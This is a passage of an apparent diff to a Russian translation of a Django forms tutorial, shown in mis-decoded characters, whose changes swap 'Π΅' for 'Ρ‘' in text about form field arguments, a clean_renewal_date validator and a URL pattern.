Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠΏΡ†ΠΈΠΉ ΠΌΡ‹ Π½Π΅ опрСдСляСм, Ρ‚ΠΎ ΠΏΠΎΠ»Π΅ Π±ΡƒΠ΄Π΅Ρ‚ "ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ" Π΄Π°Ρ‚Ρ‹ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#django.forms.DateField.input_formats">input_formats</a>: YYYY-MM-DD (2016-11-06), MM/DD/YYYY (02/26/2016), MM/DD/YY (10/25/16), Π° для отрисовки ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#widget">Π²ΠΈΠ΄ΠΆΠ΅Ρ‚</a>: <a href="https://docs.djangoproject.com/en/1.10/ref/forms/widgets/#django.forms.DateInput">DateInput</a>.</p>
<p>БущСствуСт мноТСство Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ‚ΠΈΠΏΠΎΠ² ΠΏΠΎΠ»Π΅ΠΉ для класса Ρ„ΠΎΡ€ΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎ своСму Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Ρƒ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ ΠΈΠΌ эквивалСнтам Ρ‚ΠΈΠΏΠΎΠ² ΠΏΠΎΠ»Π΅ΠΉ для классов ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ: <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#booleanfield"><code>BooleanField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#charfield"><code>CharField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#choicefield"><code>ChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#typedchoicefield"><code>TypedChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield"><code>DateField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datetimefield"><code>DateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#decimalfield"><code>DecimalField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#durationfield"><code>DurationField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#emailfield"><code>EmailField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#filefield"><code>FileField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#filepathfield"><code>FilePathField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#floatfield"><code>FloatField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#imagefield"><code>ImageField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#integerfield"><code>IntegerField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#genericipaddressfield"><code>GenericIPAddressField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#multiplechoicefield"><code>MultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#typedmultiplechoicefield"><code>TypedMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#nullbooleanfield"><code>NullBooleanField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#regexfield"><code>RegexField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#slugfield"><code>SlugField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#timefield"><code>TimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#urlfield"><code>URLField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#uuidfield"><code>UUIDField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#combofield"><code>ComboField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#multivaluefield"><code>MultiValueField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#splitdatetimefield"><code>SplitDateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#modelmultiplechoicefield"><code>ModelMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#modelchoicefield"><code>ModelChoiceField</code></a>​​​​.</p>
@@ -145,20 +145,20 @@ class RenewBookForm(forms.Form):
<ul>
<li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#required">required</a>: Если <code>True</code>, Ρ‚ΠΎ Π΄Π°Π½Π½ΠΎΠ΅ ΠΏΠΎΠ»Π΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ пустым, ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅<code>None</code>. Π”Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ установлСно ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</li>
- <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a>: ВСкстовая ΠΌΠ΅Ρ‚ΠΊΠ°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ для Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° поля Π² HTML-ΠΊΠΎΠ΄. Если <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a> Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π°, Ρ‚ΠΎ Django попытаСтся ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΈΠΌΠ΅Π½ΠΈ поля, пСрСводя ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ символ Π² Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ рСгистр, Π° Ρ‚Π°ΠΊΠΆΠ΅ замСняя символы подчСркивания ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ с ΠΈΠΌΠ΅Π½Π΅ΠΌ renewal_date, Π±ΡƒΠ΄Π΅Ρ‚ создан ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ тСкст ΠΌΠ΅Ρ‚ΠΊΠΈ: <em>Renewal date</em>).</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a>: ВСкстовая ΠΌΠ΅Ρ‚ΠΊΠ°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ для Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° поля Π² HTML-ΠΊΠΎΠ΄. Если <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a> Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π°, Ρ‚ΠΎ Django попытаСтся ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π΅Ρ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΈΠΌΠ΅Π½ΠΈ поля, пСрСводя ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ символ Π² Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ рСгистр, Π° Ρ‚Π°ΠΊΠΆΠ΅ замСняя символы подчёркивания ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ с ΠΈΠΌΠ΅Π½Π΅ΠΌ renewal_date, Π±ΡƒΠ΄Π΅Ρ‚ создан ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ тСкст ΠΌΠ΅Ρ‚ΠΊΠΈ: <em>Renewal date</em>).</li>
<li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label-suffix">label_suffix</a>: По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ послС тСкста ΠΌΠ΅Ρ‚ΠΊΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Renewal date<strong>:</strong>). Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ позволяСт Π²Π°ΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ любой суффикс ΠΏΠΎ Π²Π°ΡˆΠ΅ΠΌΡƒ ТСланию.</li>
<li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#initial">initial</a>: ΠΠ°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для поля ΠΏΡ€ΠΈ ΠΏΠΎΠΊΠ°Π·Π΅ Ρ„ΠΎΡ€ΠΌΡ‹.</li>
<li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#widget">widget</a>: ΠŸΡ€ΠΈΠΌΠ΅Π½ΡΠ΅ΠΌΡ‹ΠΉ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ для поля.</li>
<li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#help-text">help_text</a> (ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅): Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΊΠ°Π·Π°Π½ Π½Π° Ρ„ΠΎΡ€ΠΌΠ΅, для описания Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π΅.</li>
<li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#error-messages">error_messages</a>: Бписок сообщСний ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… для Π΄Π°Π½Π½ΠΎΠ³ΠΎ поля. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΅Π³ΠΎ своими сообщСниями, ΠΏΡ€ΠΈ нСобходимости.</li>
- <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#validators">validators</a>: Бписок Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π·Π²Π°Π½Ρ‹ для Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ, Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ Π² ΠΏΠΎΠ»Π΅ значСния.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#validators">validators</a>: Бписок Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π·Π²Π°Π½Ρ‹ для Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ, Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ Π² ΠΏΠΎΠ»Π΅ значСния.</li>
<li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#localize">localize</a>: ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚ΡŒ Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ Π΄Π°Π½Π½Ρ‹Ρ… поля Ρ„ΠΎΡ€ΠΌΡ‹ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π²Π²ΠΎΠ΄Π° числовых Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΈΠ»ΠΈ Π΄Π°Ρ‚).</li>
<li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#disabled">disabled</a>: Если установлСно Π² <code>True</code>, Ρ‚ΠΎ ΠΏΠΎΠ»Π΅ показываСтся, Π½ΠΎ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ нСльзя. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ <code>False</code>.</li>
</ul>
<h4 id="Валидация">Валидация</h4>
-<p>Django прСдоставляСт нСсколько мСст Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚ΡŒ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ Π²Π°ΡˆΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ…. ΠŸΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΠΌ способом ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ значСния ΠΎΠ΄ΠΈΠ½ΠΎΡ‡Π½ΠΎΠ³ΠΎ поля являСтся ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°<code>clean_<strong>&lt;fieldname&gt;</strong>()</code> (здСсь, <code><strong>&lt;fieldname&gt;</strong></code> это имя поля, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ). НапримСр, ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>renewal_date</code> находится ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π΄Π°Ρ‚ΠΎΠΉ ΠΈΒ  4 нСдСлями Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ. Для этого ΠΌΡ‹ создаСм ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>clean_<strong>renewal_date</strong>()</code>, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</p>
+<p>Django прСдоставляСт нСсколько мСст Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚ΡŒ Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΡŽ Π²Π°ΡˆΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ…. ΠŸΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΠΌ способом ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ значСния ΠΎΠ΄ΠΈΠ½ΠΎΡ‡Π½ΠΎΠ³ΠΎ поля являСтся ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°<code>clean_<strong>&lt;fieldname&gt;</strong>()</code> (здСсь, <code><strong>&lt;fieldname&gt;</strong></code> это имя поля, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ). НапримСр, ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>renewal_date</code> находится ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π΄Π°Ρ‚ΠΎΠΉ ΠΈΒ  4 нСдСлями Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ. Для этого ΠΌΡ‹ создаём ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>clean_<strong>renewal_date</strong>()</code>, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</p>
<pre class="brush: python notranslate">from django import forms
@@ -183,7 +183,7 @@ class RenewBookForm(forms.Form):
Β  Β  Β  Β  # ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ всСгда Π½Π°Π΄ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ "ΠΎΡ‡ΠΈΡ‰Π΅Π½Π½Ρ‹Π΅" Π΄Π°Π½Π½Ρ‹Π΅.
Β  Β  Β  Β  return data</strong></pre>
-<p>НСобходимо ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ Π΄Π²Π° Π²Π°ΠΆΠ½Ρ‹Ρ… ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ наши Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ словаря <code>self.cleaned_data['renewal_date']</code>, Π° Π·Π°Ρ‚Π΅ΠΌ Π² ΠΊΠΎΠ½Ρ†Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, для провСдСния Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ. Π”Π°Π½Π½Ρ‹ΠΉ шаг позволяСт Π½Π°ΠΌ, ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π²Π°Π»ΠΈΠ΄Π°Ρ‚ΠΎΡ€ΠΎΠ², ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ "ΠΎΡ‡ΠΈΡ‰Π΅Π½Π½Ρ‹Π΅", ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹Π΅, Π° Π·Π°Ρ‚Π΅ΠΌ, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ ΠΊ стандартным Ρ‚ΠΈΠΏΠ°ΠΌ, Π΄Π°Π½Π½Ρ‹Π΅ (Π² нашСм случаС ΠΊ Ρ‚ΠΈΠΏΡƒ Python <code>datetime.datetime</code>).</p>
+<p>НСобходимо ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ Π΄Π²Π° Π²Π°ΠΆΠ½Ρ‹Ρ… ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ наши Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ словаря <code>self.cleaned_data['renewal_date']</code>, Π° Π·Π°Ρ‚Π΅ΠΌ Π² ΠΊΠΎΠ½Ρ†Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, для провСдСния Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ. Π”Π°Π½Π½Ρ‹ΠΉ шаг позволяСт Π½Π°ΠΌ, ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π²Π°Π»ΠΈΠ΄Π°Ρ‚ΠΎΡ€ΠΎΠ², ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ "ΠΎΡ‡ΠΈΡ‰Π΅Π½Π½Ρ‹Π΅", ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹Π΅, Π° Π·Π°Ρ‚Π΅ΠΌ, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ ΠΊ стандартным Ρ‚ΠΈΠΏΠ°ΠΌ, Π΄Π°Π½Π½Ρ‹Π΅ (Π² нашСм случаС ΠΊ Ρ‚ΠΈΠΏΡƒ Python <code>datetime.datetime</code>).</p>
<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ касаСтся Ρ‚ΠΎΠ³ΠΎ случая, ΠΊΠΎΠ³Π΄Π° нашС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ "Π²Ρ‹ΠΏΠ°Π΄Π°Π΅Ρ‚ Π·Π° Ρ€Π°ΠΌΠΊΠΈ" ΠΈ ΠΌΡ‹ "Π²Ρ‹ΠΊΠΈΠ΄Ρ‹Π²Π°Π΅ΠΌ" ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ <code>ValidationError</code>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π° Ρ„ΠΎΡ€ΠΌΠ΅, для случая ΠΊΠΎΠ³Π΄Π° Π±Ρ‹Π»ΠΈ Π²Π²Π΅Π΄Π΅Π½Ρ‹ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. ΠŸΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅, ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹ΠΉ тСкст ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ <a href="https://docs.djangoproject.com/en/1.10/topics/i18n/translation/">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π° Django</a> <code>ugettext_lazy()</code> (ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡƒΡŽ Ρ‡Π΅Ρ€Π΅Π· <code>_()</code>), которая ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΠΏΡ€ΠΈΠ³ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ, Ссли Π²Ρ‹ ΠΏΠ»Π°Π½ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ пСрСвСсти ваш сайт Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.</p>
@@ -208,14 +208,14 @@ class RenewBookForm(forms.Form):
<p>Данная конфигурация ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ запросы с адрСсов Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° <strong>/catalog/book/<em>&lt;bookinstance id&gt;</em>/renew/</strong> Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>renew_book_librarian()</code> Π² <strong>views.py</strong>, Ρ‚ΡƒΠ΄Π° ΠΆΠ΅ пСрСдаст ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ id записи <code>BookInstance</code> Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>pk</code>.Β Π¨Π°Π±Π»ΠΎΠ½ соотвСтствуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли <strong>pkΒ </strong>это ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ ΠΎΡ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉΒ <strong>uiid.</strong></p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ВмСсто ΠΈΠΌΠ΅Π½ΠΈ "pk" ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любоС Π΄Ρ€ΡƒΠ³ΠΎΠ΅, ΠΏΠΎ Π½Π°ΡˆΠ΅ΠΌΡƒ ТСланию, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ отобраТСния (ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Ρƒ нас Π½Π΅Ρ‚ Π² случаС использования встроСнного ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½ΠΎΠ³ΠΎ класса отобраТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ). Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ имя <code>pk</code> являСтся понятным сокращСниСм ΠΎΡ‚ "primary key", поэтому ΠΌΡ‹ Π΅Π³ΠΎ Ρ‚ΡƒΡ‚ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ!</p>
